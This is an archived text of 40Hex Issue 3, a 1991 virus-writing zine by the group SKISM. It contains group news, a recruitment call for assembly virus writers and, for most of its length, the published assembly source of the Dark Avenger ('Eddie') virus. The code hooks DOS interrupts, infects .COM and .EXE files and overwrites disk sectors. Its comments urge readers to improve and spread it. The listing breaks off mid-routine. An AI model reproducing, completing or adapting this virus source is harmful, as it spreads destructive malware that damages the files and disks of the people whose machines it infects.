home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / 40HEXX.ZIP / 40HEX003 < prev    next >
Text File  |  1998-01-21  |  114KB  |  3,560 lines

  1.  40Hex Issue 3                                                      0000
  2.  
  3.                                 Contents
  4.                                 --------
  5.  
  6.   A Word From Hellraiser.......................................0001
  7.   The Dark Avenger Source......................................0002
  8.   Anthrax......................................................0003
  9.   The 40Hex Challenge/The Strange Case of Validate.............0004
  10.   Application for SKISM........................................0005
  11.   Virus News For October/91....................................0006
  12.   The Darth Vader Virus Strain B...............................0007
  13.   Mystery Virus................................................0008
  14.   Tiny-F Source................................................0009
  15.   Afterwords...................................................0010
  16.  
  17.                                  Staff
  18.                                  -----
  19.  
  20.   Hellraiser...............Editor/Writer/Programmer/Tech. Consultant
  21.   Garbage Heap.....................Writer/Spell Checker/Distribution
  22.  
  23.   Special Thanks to...  Demogorgan, Dark Angel, Count Zero, Piff',
  24.                         Paragon Dude, The Fisch, Gambit, Punisher,
  25.                         Nuclear Warhead, Ironlord (and the rest of
  26.                         the alliance people all our freinds in PA, CT,
  27.                         and all over the world, and most of all our
  28.                         readers for your support.
  29.  
  30.  
  31.     SKISM distribution sites as of 10/91
  32.  
  33.     Jihad                   - 1-(408)-XXX-XXXX : California
  34.     The Night Eyes BBS      - 1-(717)-367-3501 : Pennsylvania
  35.     The Punishment Due BBS  - 1-(203)-675-???? : Connecticut   * DOWN *
  36.  
  37.  
  38.  
  39.  
  40.  
  41.  40Hex Issue 3                                                      0001
  42.  
  43.           - Gray would be the color, if I had a heart.
  44.  
  45.  
  46.           Well what's up.  Sorry about the delay with issue three
  47.           but there's been a lot of stuff going down.  I've been
  48.           working on a lot of semi-legit projects and all that so
  49.           I haven't gotten around to 40Hex till now.
  50.  
  51.           Anyway, first big news is this.  SKISM has now co-oped
  52.           with the New York based group PHALCON, thus broadening
  53.           both groups span of diversity.  SKISM being an all virus
  54.           group and PHALCON dealing with mainly h/p.
  55.  
  56.           Secondly, SKISM is hoping to broaden its membership a
  57.           bit.  We are looking for a few good virus writers.
  58.           Mainly what we need is some people who are very good
  59.           at assembly code and first and foremost virus writing.
  60.           Lame bomb writers, Q-Basic coders and such need not apply.
  61.           We are not just looking for IBM coders, as we are also
  62.           broading to Mac and Amiga.
  63.  
  64.           Thirdly, SKISM gained a new HQ in PA., it is called Night
  65.           Eyes BBS.  The number is (717)-367-3501, supporting
  66.           12/24/96/14.4 baud rates.
  67.  
  68.           Finally, The Landfill BBS, whos number is listed as the
  69.           SKISM HQ in issue two, is no longer our HQ.  Although
  70.           we are still on very good terms with the staff of that
  71.           BBS, please refrain from calling it with virus related
  72.           topics (they are no-longer h/p, just Amiga wares).  Any-
  73.           way the new New York SKISM base should be up and running
  74.           by tops October.  It will be called Hell On Earth and I
  75.           myself will be sysop.
  76.  
  77.           Well enjoy...
  78.  
  79.           - Hellraiser
  80.  
  81.  
  82.  
  83.                              -- Appendum --
  84.  
  85.           Well about three days after writing this artical I found out
  86.           that I am being shipped to California.  This sucks...
  87.  
  88.           Well looks like Hell On Earth will be up out there instead of
  89.           New York.
  90.  
  91.           Call our home boards to keep in touch with the situation.  I
  92.           can still be left mail on Night Eyes.
  93.  
  94.  
  95.                             -- Appendum B --
  96.                                 10/25/91
  97.  
  98.           Well, it's been over a month since I wrote the above.  Nothing
  99.           much has changed since then.  I'm in CA. now and without a
  100.           system.  Phalcon members have been going off -- mostly Dark Angel,
  101.           who has a new virus coming out, Bob Ross.  I hope I can get it
  102.           for this issue.
  103.  
  104.           Anyway, in other news The Punishment Due - Skism distribution
  105.           site has gone down.  I am looking for other BBS's to add the
  106.           collection to.
  107.  
  108.           More news... There is another Hell On Earth BBS out there so
  109.           it looks like I am going to have to change the name of my
  110.           BBS, when I get my system.  Ironically I am concidering having
  111.           the other Hell On Earth as a Skism distribution site.
  112.  
  113.           Even more news...  I have been getting a lot of shit cause
  114.           of my name.  There seems to be other Hellraisers out there,
  115.           who claim they were the first... Fuck you all!  I had the name
  116.           since 1989, when I read Clive Barkers novella - "The Hellbound
  117.           Heart."  If you had it before then, its yours.  However after
  118.           calling a lot of boards nationally lately I never had a problem
  119.           logging on due to my name.  Shows how lame people are.
  120.  
  121.           Well thats it for now... Hope this issue will be out shortly.
  122.  
  123.  
  124.  40Hex Issue 3                                                      0002
  125.  
  126.                             The Dark Avenger
  127.  
  128.     - We are demons to some, angels to others.
  129.  
  130.     Well, here it is.  Here is the first major virus source, from the
  131.     man who brought us such greats as V2000, Anthrax, and V2100 to name
  132.     a few.  Well this Bulgarian metal lover was nice enough to freely
  133.     distribute the source code to his first virus.
  134.  
  135. ------------------------------------------------------------------------------
  136.  
  137. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  138.  
  139. ; The original source of one of the first Bulgarian viruses is in front of
  140. ; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  141. ; the virus has spread surprisingly quickly troughout the country and made a
  142. ; quick round the globe.  (It's well-known in Eastern and Western Europe, as
  143. ; well as in USA.) Due to the aniversary of its creation, the source is
  144. ; distributed freely.  You have the rights to distribute the source which can
  145. ; be charged or free of charge, with the only condition not to modify it.
  146. ; The one, who intentionaly distributes this source modified in any way will
  147. ; be punished!  Still, the author will be glad if any of you improves it and
  148. ; spreads the resulting executive file (i.e., the virus itself).  Pay
  149. ; attention to the fact that after you assemble the source, the resulting
  150. ; .COM-file cannot be run.  For that purpose you have to create a three-byte
  151. ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  152. ; two files.  Don't try to place a JMP at the beginning of the source.
  153.  
  154. ; DISCLAIMER: The author does not take any responsability for any damage,
  155. ; either direct or implied, caused by the usage or not of this source or of
  156. ; the resulting code after assembly. No warrant is made about the product
  157. ; functionability or quality.
  158.  
  159. ; I cannot resist to express my special gratitude to my "populazer" Dipl.
  160. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  161. ; not, helps very much in the spreading of my viruses, in spite of the fact
  162. ; that he tries to do just the opposite (writing programs in C has never
  163. ; led to any good).
  164. ; Greetings to all virus writers!
  165.  
  166. code    segment
  167.         assume  cs:code,ds:code
  168. copyright:
  169.         db      'Eddie lives...somewhere in time!',0
  170. date_stamp:
  171.         dd      12239000h
  172. checksum:
  173.         db      30
  174.  
  175. ; Return the control to an .EXE file:
  176. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  177.  
  178.  
  179.  
  180.  
  181.  
  182. exit_exe:
  183.         mov     bx,es
  184.         add     bx,10h
  185.         add     bx,word ptr cs:[si+call_adr+2]
  186.         mov     word ptr cs:[si+patch+2],bx
  187.         mov     bx,word ptr cs:[si+call_adr]
  188.         mov     word ptr cs:[si+patch],bx
  189.         mov     bx,es
  190.         add     bx,10h
  191.         add     bx,word ptr cs:[si+stack_pointer+2]
  192.         mov     ss,bx
  193.         mov     sp,word ptr cs:[si+stack_pointer]
  194.         db      0eah                    ;JMP XXXX:YYYY
  195. patch:
  196.         dd      0
  197.  
  198. ; Returns control to a .COM file:
  199. ; Restores the first 3 bytes in the
  200. ; beginning of the file, loads SP and IP.
  201.  
  202. exit_com:
  203.  
  204.  
  205.  
  206.  
  207.         mov     di,100h
  208.         add     si,offset my_save
  209.         movsb
  210.         movsw
  211.         mov     sp,ds:[6]               ;This is incorrect
  212.         xor     bx,bx
  213.         push    bx
  214.         jmp     [si-11]                 ;si+call_adr-top_file
  215.  
  216. ; Program entry point
  217.  
  218. startup:
  219.         call    relative
  220. relative:
  221.         pop     si                      ;SI = $
  222.         sub     si,offset relative
  223.         cld
  224.         cmp     word ptr cs:[si+my_save],5a4dh
  225.         je      exe_ok
  226.         cli
  227.         mov     sp,si                   ;A separate stack is supported for
  228.         add     sp,offset top_file+100h ;the .COM files, in order not to
  229.         sti                             ;overlap the stack by the program
  230.         cmp     sp,ds:[6]
  231.         jnc     exit_com
  232. exe_ok:
  233.         push    ax
  234.         push    es
  235.         push    si
  236.         push    ds
  237.         mov     di,si
  238.  
  239. ; Looking for the address of INT 13h handler in ROM-BIOS
  240.  
  241.         xor     ax,ax
  242.         push    ax
  243.         mov     ds,ax
  244.         les     ax,ds:[13h*4]
  245.         mov     word ptr cs:[si+fdisk],ax
  246.         mov     word ptr cs:[si+fdisk+2],es
  247.         mov     word ptr cs:[si+disk],ax
  248.         mov     word ptr cs:[si+disk+2],es
  249.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
  250.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  251.         jne     nofdisk                 ;available
  252.         mov     word ptr cs:[si+disk+2],ax
  253.         mov     ax,ds:[40h*4]
  254.         mov     word ptr cs:[si+disk],ax
  255.         mov     dl,80h
  256.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
  257.         cmp     ax,0f000h               ;where the original INT 13h vector is
  258.         je      isfdisk
  259.         cmp     ah,0c8h
  260.         jc      nofdisk
  261.         cmp     ah,0f4h
  262.         jnc     nofdisk
  263.         test    al,7fh
  264.         jnz     nofdisk
  265.         mov     ds,ax
  266.         cmp     ds:[0],0aa55h
  267.         jne     nofdisk
  268.         mov     dl,ds:[2]
  269. isfdisk:
  270.         mov     ds,ax
  271.         xor     dh,dh
  272.         mov     cl,9
  273.         shl     dx,cl
  274.         mov     cx,dx
  275.         xor     si,si
  276. findvect:
  277.         lodsw                           ;Occasionally begins with:
  278.         cmp     ax,0fa80h               ;       CMP     DL,80h
  279.         jne     altchk                  ;       JNC     somewhere
  280.         lodsw
  281.         cmp     ax,7380h
  282.         je      intchk
  283.         jne     nxt0
  284. altchk:
  285.         cmp     ax,0c2f6h               ;or with:
  286.         jne     nxt                     ;       TEST    DL,80h
  287.         lodsw                           ;       JNZ     somewhere
  288.         cmp     ax,7580h
  289.         jne     nxt0
  290. intchk:
  291.         inc     si                      ;then there is:
  292.         lodsw                           ;       INT     40h
  293.         cmp     ax,40cdh
  294.         je      found
  295.         sub     si,3
  296. nxt0:
  297.         dec     si
  298.         dec     si
  299. nxt:
  300.         dec     si
  301.         loop    findvect
  302.         jmp     short nofdisk
  303. found:
  304.         sub     si,7
  305.         mov     word ptr cs:[di+fdisk],si
  306.         mov     word ptr cs:[di+fdisk+2],ds
  307. nofdisk:
  308.         mov     si,di
  309.         pop     ds
  310.  
  311. ; Check whether the program is present in memory:
  312.  
  313.         les     ax,ds:[21h*4]
  314.         mov     word ptr cs:[si+save_int_21],ax
  315.         mov     word ptr cs:[si+save_int_21+2],es
  316.         push    cs
  317.         pop     ds
  318.         cmp     ax,offset int_21
  319.         jne     bad_func
  320.         xor     di,di
  321.         mov     cx,offset my_size
  322. scan_func:
  323.         lodsb
  324.         scasb
  325.         jne     bad_func
  326.         loop    scan_func
  327.         pop     es
  328.         jmp     go_program
  329.  
  330. ; Move the program to the top of memory:
  331. ; (it's full of rubbish and bugs here)
  332.  
  333. bad_func:
  334.         pop     es
  335.         mov     ah,49h
  336.         int     21h
  337.         mov     bx,0ffffh
  338.         mov     ah,48h
  339.         int     21h
  340.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  341.         jc      go_program
  342.         mov     cx,es
  343.         stc
  344.         adc     cx,bx
  345.         mov     ah,4ah
  346.         int     21h
  347.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  348.         stc
  349.         sbb     es:[2],bx
  350.         push    es
  351.         mov     es,cx
  352.         mov     ah,4ah
  353.         int     21h
  354.         mov     ax,es
  355.         dec     ax
  356.         mov     ds,ax
  357.         mov     word ptr ds:[1],8
  358.         call    mul_16
  359.         mov     bx,ax
  360.         mov     cx,dx
  361.         pop     ds
  362.         mov     ax,ds
  363.         call    mul_16
  364.         add     ax,ds:[6]
  365.         adc     dx,0
  366.         sub     ax,bx
  367.         sbb     dx,cx
  368.         jc      mem_ok
  369.         sub     ds:[6],ax               ;Reduction of the segment size
  370. mem_ok:
  371.         pop     si
  372.         push    si
  373.         push    ds
  374.         push    cs
  375.         xor     di,di
  376.         mov     ds,di
  377.         lds     ax,ds:[27h*4]
  378.         mov     word ptr cs:[si+save_int_27],ax
  379.         mov     word ptr cs:[si+save_int_27+2],ds
  380.         pop     ds
  381.         mov     cx,offset aux_size
  382.         rep     movsb
  383.         xor     ax,ax
  384.         mov     ds,ax
  385.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  386.         mov     ds:[21h*4+2],es
  387.         mov     ds:[27h*4],offset int_27
  388.         mov     ds:[27h*4+2],es
  389.         mov     word ptr es:[filehndl],ax
  390.         pop     es
  391. go_program:
  392.         pop     si
  393.  
  394. ; Smash the next disk sector:
  395.  
  396.         xor     ax,ax
  397.         mov     ds,ax
  398.         mov     ax,ds:[13h*4]
  399.         mov     word ptr cs:[si+save_int_13],ax
  400.         mov     ax,ds:[13h*4+2]
  401.         mov     word ptr cs:[si+save_int_13+2],ax
  402.         mov     ds:[13h*4],offset int_13
  403.         add     ds:[13h*4],si
  404.         mov     ds:[13h*4+2],cs
  405.         pop     ds
  406.         push    ds
  407.         push    si
  408.         mov     bx,si
  409.         lds     ax,ds:[2ah]
  410.         xor     si,si
  411.         mov     dx,si
  412. scan_envir:                             ;Fetch program's name
  413.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  414.         dec     si
  415.         test    ax,ax
  416.         jnz     scan_envir
  417.         add     si,3
  418.         lodsb
  419.  
  420. ; The following instruction is a complete nonsense.  Try to enter a drive &
  421. ; directory path in lowercase, then run an infected program from there.
  422. ; As a result of an error here + an error in DOS the next sector is not
  423. ; smashed. Two memory bytes are smashed instead, most probably onto the
  424. ; infected program.
  425.  
  426.         sub     al,'A'
  427.         mov     cx,1
  428.         push    cs
  429.         pop     ds
  430.         add     bx,offset int_27
  431.         push    ax
  432.         push    bx
  433.         push    cx
  434.         int     25h
  435.         pop     ax
  436.         pop     cx
  437.         pop     bx
  438.         inc     byte ptr [bx+0ah]
  439.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  440.         jnz     store_sec               ;nothing is not enough for some.
  441.         mov     al,[bx+10h]
  442.         xor     ah,ah
  443.         mul     word ptr [bx+16h]
  444.         add     ax,[bx+0eh]
  445.         push    ax
  446.         mov     ax,[bx+11h]
  447.         mov     dx,32
  448.         mul     dx
  449.         div     word ptr [bx+0bh]
  450.         pop     dx
  451.         add     dx,ax
  452.         mov     ax,[bx+8]
  453.         add     ax,40h
  454.         cmp     ax,[bx+13h]
  455.         jc      store_new
  456.         inc     ax
  457.         and     ax,3fh
  458.         add     ax,dx
  459.         cmp     ax,[bx+13h]
  460.         jnc     small_disk
  461. store_new:
  462.         mov     [bx+8],ax
  463. store_sec:
  464.         pop     ax
  465.         xor     dx,dx
  466.         push    ax
  467.         push    bx
  468.         push    cx
  469.         int     26h
  470.  
  471.  
  472. ; The writing trough this interrupt is not the smartest thing, bacause it
  473. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  474.  
  475.         pop     ax
  476.         pop     cx
  477.         pop     bx
  478.         pop     ax
  479.         cmp     byte ptr [bx+0ah],0
  480.         jne     not_now
  481.         mov     dx,[bx+8]
  482.         pop     bx
  483.         push    bx
  484.         int     26h
  485. small_disk:
  486.         pop     ax
  487. not_now:
  488.         pop     si
  489.         xor     ax,ax
  490.         mov     ds,ax
  491.         mov     ax,word ptr cs:[si+save_int_13]
  492.         mov     ds:[13h*4],ax
  493.         mov     ax,word ptr cs:[si+save_int_13+2]
  494.         mov     ds:[13h*4+2],ax
  495.         pop     ds
  496.         pop     ax
  497.         cmp     word ptr cs:[si+my_save],5a4dh
  498.         jne     go_exit_com
  499.         jmp     exit_exe
  500. go_exit_com:
  501.         jmp     exit_com
  502. int_24:
  503.         mov     al,3                    ;This instruction seems unnecessary
  504.         iret
  505.  
  506. ; INT 27h handler (this is necessary)
  507.  
  508. int_27:
  509.         pushf
  510.         call    alloc
  511.         popf
  512.         jmp     dword ptr cs:[save_int_27]
  513.  
  514. ; During the DOS functions Set & Get Vector it seems that the virus has not
  515. ; intercepted them (this is a doubtfull advantage and it is a possible
  516. ; source of errors with some "intelligent" programs)
  517.  
  518. set_int_27:
  519.         mov     word ptr cs:[save_int_27],dx
  520.         mov     word ptr cs:[save_int_27+2],ds
  521.         popf
  522.         iret
  523. set_int_21:
  524.         mov     word ptr cs:[save_int_21],dx
  525.         mov     word ptr cs:[save_int_21+2],ds
  526.         popf
  527.         iret
  528. get_int_27:
  529.         les     bx,dword ptr cs:[save_int_27]
  530.         popf
  531.         iret
  532. get_int_21:
  533.         les     bx,dword ptr cs:[save_int_21]
  534.         popf
  535.         iret
  536.  
  537. exec:
  538.  
  539.  
  540.         call    do_file
  541.         call    alloc
  542.         popf
  543.         jmp     dword ptr cs:[save_int_21]
  544.  
  545.         db      'Diana P.',0
  546.  
  547. ; INT 21h handler.  Infects files during execution, copying, browsing or
  548. ; creating and some other operations. The execution of functions 0 and 26h
  549. ; has bad consequences.
  550.  
  551. int_21:
  552.         push    bp
  553.         mov     bp,sp
  554.         push    [bp+6]
  555.         popf
  556.         pop     bp
  557.         pushf
  558.         call    ontop
  559.         cmp     ax,2521h
  560.         je      set_int_21
  561.         cmp     ax,2527h
  562.         je      set_int_27
  563.         cmp     ax,3521h
  564.         je      get_int_21
  565.         cmp     ax,3527h
  566.         je      get_int_27
  567.         cld
  568.         cmp     ax,4b00h
  569.         je      exec
  570.         cmp     ah,3ch
  571.         je      create
  572.         cmp     ah,3eh
  573.         je      close
  574.         cmp     ah,5bh
  575.         jne     not_create
  576. create:
  577.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  578.         jne     dont_touch
  579.         call    see_name
  580.         jnz     dont_touch
  581.         call    alloc
  582.         popf
  583.         call    function
  584.         jc      int_exit
  585.         pushf
  586.         push    es
  587.         push    cs
  588.         pop     es
  589.         push    si
  590.         push    di
  591.         push    cx
  592.         push    ax
  593.         mov     di,offset filehndl
  594.         stosw
  595.         mov     si,dx
  596.         mov     cx,65
  597. move_name:
  598.         lodsb
  599.         stosb
  600.         test    al,al
  601.         jz      all_ok
  602.         loop    move_name
  603.         mov     word ptr es:[filehndl],cx
  604. all_ok:
  605.         pop     ax
  606.         pop     cx
  607.         pop     di
  608.         pop     si
  609.         pop     es
  610. go_exit:
  611.         popf
  612.         jnc     int_exit                ;JMP
  613. close:
  614.         cmp     bx,word ptr cs:[filehndl]
  615.         jne     dont_touch
  616.         test    bx,bx
  617.         jz      dont_touch
  618.         call    alloc
  619.         popf
  620.         call    function
  621.         jc      int_exit
  622.         pushf
  623.         push    ds
  624.         push    cs
  625.         pop     ds
  626.         push    dx
  627.         mov     dx,offset filehndl+2
  628.         call    do_file
  629.         mov     word ptr cs:[filehndl],0
  630.         pop     dx
  631.         pop     ds
  632.         jmp     go_exit
  633. not_create:
  634.         cmp     ah,3dh
  635.         je      touch
  636.         cmp     ah,43h
  637.         je      touch
  638.         cmp     ah,56h                  ;Unfortunately, the command inter-
  639.         jne     dont_touch              ;preter does not use this function
  640. touch:
  641.         call    see_name
  642.         jnz     dont_touch
  643.         call    do_file
  644. dont_touch:
  645.         call    alloc
  646.         popf
  647.         call    function
  648. int_exit:
  649.         pushf
  650.         push    ds
  651.         call    get_chain
  652.         mov     byte ptr ds:[0],'Z'
  653.         pop     ds
  654.         popf
  655. dummy   proc    far                     ;???
  656.         ret     2
  657. dummy   endp
  658.  
  659. ; Checks whether the file is .COM or .EXE.
  660. ; It is not called upon file execution.
  661.  
  662. see_name:
  663.         push    ax
  664.         push    si
  665.         mov     si,dx
  666. scan_name:
  667.         lodsb
  668.         test    al,al
  669.         jz      bad_name
  670.         cmp     al,'.'
  671.         jnz     scan_name
  672.         call    get_byte
  673.         mov     ah,al
  674.         call    get_byte
  675.         cmp     ax,'co'
  676.         jz      pos_com
  677.         cmp     ax,'ex'
  678.         jnz     good_name
  679.         call    get_byte
  680.         cmp     al,'e'
  681.         jmp     short good_name
  682. pos_com:
  683.         call    get_byte
  684.         cmp     al,'m'
  685.         jmp     short good_name
  686. bad_name:
  687.         inc     al
  688. good_name:
  689.         pop     si
  690.         pop     ax
  691.         ret
  692.  
  693. ; Converts into lowercase (the subroutines are a great thing).
  694.  
  695. get_byte:
  696.         lodsb
  697.         cmp     al,'C'
  698.         jc      byte_got
  699.         cmp     al,'Y'
  700.         jnc     byte_got
  701.         add     al,20h
  702. byte_got:
  703.         ret
  704.  
  705. ; Calls the original INT 21h.
  706.  
  707. function:
  708.         pushf
  709.         call    dword ptr cs:[save_int_21]
  710.         ret
  711.  
  712. ; Arrange to infect an executable file.
  713.  
  714. do_file:
  715.         push    ds                      ;Save the registers in stack
  716.         push    es
  717.         push    si
  718.         push    di
  719.         push    ax
  720.         push    bx
  721.         push    cx
  722.         push    dx
  723.         mov     si,ds
  724.         xor     ax,ax
  725.         mov     ds,ax
  726.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  727.         push    es                      ;and changes them with what is needed
  728.         push    ax
  729.         mov     ds:[24h*4],offset int_24
  730.         mov     ds:[24h*4+2],cs
  731.         les     ax,ds:[13h*4]
  732.         mov     word ptr cs:[save_int_13],ax
  733.         mov     word ptr cs:[save_int_13+2],es
  734.         mov     ds:[13h*4],offset int_13
  735.         mov     ds:[13h*4+2],cs
  736.         push    es
  737.         push    ax
  738.         mov     ds,si
  739.         xor     cx,cx                   ;Arranges to infect Read-only files
  740.         mov     ax,4300h
  741.         call    function
  742.         mov     bx,cx
  743.         and     cl,0feh
  744.         cmp     cl,bl
  745.         je      dont_change
  746.         mov     ax,4301h
  747.         call    function
  748.         stc
  749. dont_change:
  750.         pushf
  751.         push    ds
  752.         push    dx
  753.         push    bx
  754.         mov     ax,3d02h                ;Now we can safely open the file
  755.         call    function
  756.         jc      cant_open
  757.         mov     bx,ax
  758.         call    disease
  759.         mov     ah,3eh                  ;Close it
  760.  
  761.         call    function
  762. cant_open:
  763.         pop     cx
  764.         pop     dx
  765.         pop     ds
  766.         popf
  767.         jnc     no_update
  768.         mov     ax,4301h                ;Restores file's attributes
  769.         call    function                ;if they were changed (just in case)
  770. no_update:
  771.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  772.         mov     ds,ax
  773.         pop     ds:[13h*4]
  774.         pop     ds:[13h*4+2]
  775.         pop     ds:[24h*4]
  776.         pop     ds:[24h*4+2]
  777.         pop     dx                      ;Register restoration
  778.         pop     cx
  779.         pop     bx
  780.         pop     ax
  781.         pop     di
  782.         pop     si
  783.         pop     es
  784.         pop     ds
  785.         ret
  786.  
  787. ; This routine is the working horse.
  788.  
  789. disease:
  790.         push    cs
  791.         pop     ds
  792.         push    cs
  793.         pop     es
  794.         mov     dx,offset top_save      ;Read the file beginning
  795.         mov     cx,18h
  796.         mov     ah,3fh
  797.         int     21h
  798.         xor     cx,cx
  799.         xor     dx,dx
  800.         mov     ax,4202h                ;Save file length
  801.         int     21h
  802.         mov     word ptr [top_save+1ah],dx
  803.         cmp     ax,offset my_size       ;This should be top_file
  804.         sbb     dx,0
  805.         jc      stop_fuck_2             ;Small files are not infected
  806.         mov     word ptr [top_save+18h],ax
  807.         cmp     word ptr [top_save],5a4dh
  808.         jne     com_file
  809.         mov     ax,word ptr [top_save+8]
  810.         add     ax,word ptr [top_save+16h]
  811.         call    mul_16
  812.         add     ax,word ptr [top_save+14h]
  813.         adc     dx,0
  814.         mov     cx,dx
  815.         mov     dx,ax
  816.         jmp     short see_sick
  817. com_file:
  818.         cmp     byte ptr [top_save],0e9h
  819.         jne     see_fuck
  820.         mov     dx,word ptr [top_save+1]
  821.         add     dx,103h
  822.         jc      see_fuck
  823.         dec     dh
  824.         xor     cx,cx
  825.  
  826. ; Check if the file is properly infected
  827.  
  828.  
  829. see_sick:
  830.         sub     dx,startup-copyright
  831.         sbb     cx,0
  832.         mov     ax,4200h
  833.         int     21h
  834.         add     ax,offset top_file
  835.         adc     dx,0
  836.         cmp     ax,word ptr [top_save+18h]
  837.         jne     see_fuck
  838.         cmp     dx,word ptr [top_save+1ah]
  839.         jne     see_fuck
  840.         mov     dx,offset top_save+1ch
  841.         mov     si,dx
  842.         mov     cx,offset my_size
  843.         mov     ah,3fh
  844.         int     21h
  845.         jc      see_fuck
  846.         cmp     cx,ax
  847.         jne     see_fuck
  848.         xor     di,di
  849. next_byte:
  850.  
  851.         lodsb
  852.         scasb
  853.         jne     see_fuck
  854.         loop    next_byte
  855. stop_fuck_2:
  856.         ret
  857. see_fuck:
  858.         xor     cx,cx                   ;Seek to the end of file
  859.         xor     dx,dx
  860.         mov     ax,4202h
  861.         int     21h
  862.         cmp     word ptr [top_save],5a4dh
  863.         je      fuck_exe
  864.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  865.         adc     dx,0
  866.         je      fuck_it
  867.         ret
  868.  
  869. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  870.  
  871. fuck_exe:
  872.         mov     dx,word ptr [top_save+18h]
  873.         neg     dl
  874.         and     dx,0fh
  875.         xor     cx,cx
  876.         mov     ax,4201h
  877.         int     21h
  878.         mov     word ptr [top_save+18h],ax
  879.         mov     word ptr [top_save+1ah],dx
  880. fuck_it:
  881.         mov     ax,5700h                ;Get file's date
  882.         int     21h
  883.         pushf
  884.         push    cx
  885.         push    dx
  886.         cmp     word ptr [top_save],5a4dh
  887.         je      exe_file                ;Very clever, isn't it?
  888.         mov     ax,100h
  889.         jmp     short set_adr
  890. exe_file:
  891.         mov     ax,word ptr [top_save+14h]
  892.         mov     dx,word ptr [top_save+16h]
  893. set_adr:
  894.         mov     di,offset call_adr
  895.         stosw
  896.         mov     ax,dx
  897.         stosw
  898.         mov     ax,word ptr [top_save+10h]
  899.         stosw
  900.         mov     ax,word ptr [top_save+0eh]
  901.         stosw
  902.         mov     si,offset top_save      ;This offers the possibilities to
  903.         movsb                           ;some nasty programs to restore
  904.         movsw                           ;exactly the original length
  905.         xor     dx,dx                   ;of the .EXE files
  906.         mov     cx,offset top_file
  907.         mov     ah,40h
  908.         int     21h                     ;Write the virus
  909.         jc      go_no_fuck              ;(don't trace here)
  910.         xor     cx,ax
  911.         jnz     go_no_fuck
  912.         mov     dx,cx
  913.         mov     ax,4200h
  914.         int     21h
  915.         cmp     word ptr [top_save],5a4dh
  916.         je      do_exe
  917.         mov     byte ptr [top_save],0e9h
  918.         mov     ax,word ptr [top_save+18h]
  919.         add     ax,startup-copyright-3
  920.         mov     word ptr [top_save+1],ax
  921.         mov     cx,3
  922.         jmp     short write_header
  923. go_no_fuck:
  924.         jmp     short no_fuck
  925.  
  926. ; Construct the .EXE file's header
  927.  
  928. do_exe:
  929.         call    mul_hdr
  930.         not     ax
  931.         not     dx
  932.         inc     ax
  933.         jne     calc_offs
  934.         inc     dx
  935. calc_offs:
  936.         add     ax,word ptr [top_save+18h]
  937.         adc     dx,word ptr [top_save+1ah]
  938.         mov     cx,10h
  939.         div     cx
  940.         mov     word ptr [top_save+14h],startup-copyright
  941.         mov     word ptr [top_save+16h],ax
  942.         add     ax,(offset top_file-offset copyright-1)/16+1
  943.         mov     word ptr [top_save+0eh],ax
  944.         mov     word ptr [top_save+10h],100h
  945.         add     word ptr [top_save+18h],offset top_file
  946.         adc     word ptr [top_save+1ah],0
  947.         mov     ax,word ptr [top_save+18h]
  948.         and     ax,1ffh
  949.         mov     word ptr [top_save+2],ax
  950.         pushf
  951.         mov     ax,word ptr [top_save+19h]
  952.         shr     byte ptr [top_save+1bh],1
  953.         rcr     ax,1
  954.         popf
  955.         jz      update_len
  956.         inc     ax
  957. update_len:
  958.         mov     word ptr [top_save+4],ax
  959.         mov     cx,18h
  960. write_header:
  961.         mov     dx,offset top_save
  962.         mov     ah,40h
  963.         int     21h                     ;Write the file beginning
  964. no_fuck:
  965.         pop     dx
  966.         pop     cx
  967.         popf
  968.         jc      stop_fuck
  969.         mov     ax,5701h                ;Restore the original file date
  970.         int     21h
  971. stop_fuck:
  972.         ret
  973.  
  974. ; The following is used by the INT 21h and INT 27h handlers in connection
  975. ; to the program hiding in memory from those who don't need to see it.
  976. ; The whole system is absurde and meaningless and it is also another source
  977. ; for program conflicts.
  978.  
  979. alloc:
  980.         push    ds
  981.         call    get_chain
  982.         mov     byte ptr ds:[0],'M'
  983.         pop     ds
  984.  
  985. ; Assures that the program is the first one in the processes,
  986. ; which have intercepted INT 21h (yet another source of conflicts).
  987.  
  988. ontop:
  989.         push    ds
  990.         push    ax
  991.         push    bx
  992.         push    dx
  993.         xor     bx,bx
  994.         mov     ds,bx
  995.         lds     dx,ds:[21h*4]
  996.         cmp     dx,offset int_21
  997.         jne     search_segment
  998.         mov     ax,ds
  999.         mov     bx,cs
  1000.         cmp     ax,bx
  1001.         je      test_complete
  1002.  
  1003. ; Searches the segment of the sucker who has intercepted INT 21h, in
  1004. ; order to find where it has stored the old values and to replace them.
  1005. ; Nothing is done for INT 27h.
  1006.  
  1007.         xor     bx,bx
  1008. search_segment:
  1009.         mov     ax,[bx]
  1010.         cmp     ax,offset int_21
  1011.         jne     search_next
  1012.         mov     ax,cs
  1013.         cmp     ax,[bx+2]
  1014.         je      got_him
  1015. search_next:
  1016.         inc     bx
  1017.         jne     search_segment
  1018.         je      return_control
  1019. got_him:
  1020.         mov     ax,word ptr cs:[save_int_21]
  1021.         mov     [bx],ax
  1022.         mov     ax,word ptr cs:[save_int_21+2]
  1023.         mov     [bx+2],ax
  1024.         mov     word ptr cs:[save_int_21],dx
  1025.         mov     word ptr cs:[save_int_21+2],ds
  1026.         xor     bx,bx
  1027.  
  1028. ; Even if he has not saved them in the same segment, this won't help him.
  1029.  
  1030. return_control:
  1031.         mov     ds,bx
  1032.         mov     ds:[21h*4],offset int_21
  1033.         mov     ds:[21h*4+2],cs
  1034. test_complete:
